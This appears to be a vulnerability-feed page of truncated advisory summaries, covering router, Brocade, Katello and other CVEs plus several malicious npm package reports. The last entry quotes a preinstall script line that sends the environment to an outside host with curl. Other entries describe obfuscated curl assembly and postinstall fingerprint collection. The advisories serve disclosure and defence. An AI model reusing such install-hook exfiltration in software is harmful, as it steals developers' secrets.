CVE-2024-57725

CVE-2024-57725：某些Arcadyan路由器（由Orange和Jazztel分发）中的GPON链路操纵漏洞 本仓库记录了在西班牙Orange和Jazztel分发的LiveboxFibra Arcadyan路由器（PRV3399BBLT）中发现的一个无需认证的漏洞。问题在于能够通过/cgi/cgiauthpage.js和/firstconnection.cgi端点无需认证地提取和修改GPON链路值。 漏洞详情 受影响端点 1. /cgi/cgiauthpage.js 泄露slidvalue参数，该参数包含十六进制格式的GPON链路值。无需认证 即可访问，导致信息泄露。 2...

CVE-2026-5047

Brocade SANnav (HPE B-Series SANnav Management Portal) is vulnerable to CWE-922: Insecure Storage of Sensitive Information in versions prior to 2.4.0b and 3.0.0 . The application incorrectly prints base64 encoded passwords and authentication tokens into log files, including the SANnav supportsave...

CVE-2026-5047

A vulnerability in Brocade SANnav before 2.4.0b and 3.0.0 prints encoded passwords and authentication tokens in log files. The vulnerability could allow an authenticated attacker with access to the log file including the SANnav supportsave to access the passwords...

EUVD-2026-94756

A vulnerability in Brocade SANnav before 2.4.0b and 3.0.0 prints encoded passwords and authentication tokens in log files. The vulnerability could allow an authenticated attacker with access to the log file including the SANnav supportsave to access the passwords...

CVE-2023-5648

In Brocade ASCG before Brocade ASCG v3.0, several security-related HTTP Headers were missing in various Brocade ASCG URL paths, aiding unauthenticated attackers to perform attacks such as Cross-Site Scripting, Clickjacking, Information disclosure, and more...

EUVD-2023-60709

In Brocade ASCG before Brocade ASCG v3.0, several security-related HTTP Headers were missing in various Brocade ASCG URL paths, aiding unauthenticated attackers to perform attacks such as Cross-Site Scripting, Clickjacking, Information disclosure, and more...

CVE-2023-5648

In Brocade ASCG before Brocade ASCG v3.0, several security-related HTTP Headers were missing in various Brocade ASCG URL paths, aiding unauthenticated attackers to perform attacks such as Cross-Site Scripting, Clickjacking, Information disclosure, and more...

CVE-2026-107450

In Stump through 0.1.10, the updateSmartList and deleteSmartList GraphQL mutations crates/graphql/src/mutation/smartlists.rs depend only on the shared AccessSmartList permission and resolve the target list at Reader access lacking a creator check. Any authenticated user with that permission can...

CVE-2026-107445

A flaw was found in Katello where the Flatpak Remote Repositories API does not properly enforce authorization when accessing a flatpak remote repository by identifier. An authenticated user with permission to view flatpak remotes in one organization may be able to access flatpak remote repository...

CVE-2026-107445

A flaw was found in Katello where the Flatpak Remote Repositories API does not properly enforce authorization when accessing a flatpak remote repository by identifier. An authenticated user with permission to view flatpak remotes in one organization may be able to access flatpak remote repository...

CVE-2021-3310

CVE-2021-3310 Vulnerabilidad de divulgación de información en la resolución de enlaces de Western Digital MyCloud PR4100 Use los archivos incluidos para desencadenar la vulnerabilidad en mycloud OS 3; esto está parcheado en OS 5...

CVE-2026-107444

A flaw in Katello allows for a cross-organization authorization bypass via the Docker Tags repositories API . Because the API fails to properly enforce organization scoping when listing repositories for a Docker meta tag, an authenticated user with permission to view products in one organization ...

CVE-2026-107444 Rubygem-katello: katello: katello: katello docker tags repositories api cross-organization authorization bypass

A flaw was found in Katello where the Docker Tags repositories API does not properly enforce organization scoping when listing repositories for a Docker meta tag. An authenticated user with permission to view products in one organization may be able to retrieve repository metadata associated with...

MAL-2026-17654 Malicious code in abbishal-poc2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...

Malicious code in css-flow-render-shim (npm)

[email protected] was published to npm on 2026-10-06 22:49 UTC by user brahimhamidi the account's only package. It is described as a CSS polyfill but contains none: index.js is an empty module byte-identical to the index.js of [email protected] and payload.min.css is 15 bytes...

MAL-2026-17655 Malicious code in css-flow-render-shim (npm)

[email protected] was published to npm on 2026-10-06 22:49 UTC by user brahimhamidi the account's only package. It is described as a CSS polyfill but contains none: index.js is an empty module byte-identical to the index.js of [email protected] and payload.min.css is 15 bytes...

Malicious code in wix-ssr-thunderbolt-grid-polyfill (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b6e0013701f6ab53085883b09092f0cd5ae9aaaab51a9f0e9de5aa68946ae9e1 The package ships two minified bundles — dist/poc-model.bundle.min.js and dist/poc-bootstrap.bundle.min.js — that are wired as the model and bootstra...

Malicious code in @ziedzzz/demo-canary (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...

MAL-2026-17652 Malicious code in @ziedzzz/demo-canary (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...

Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...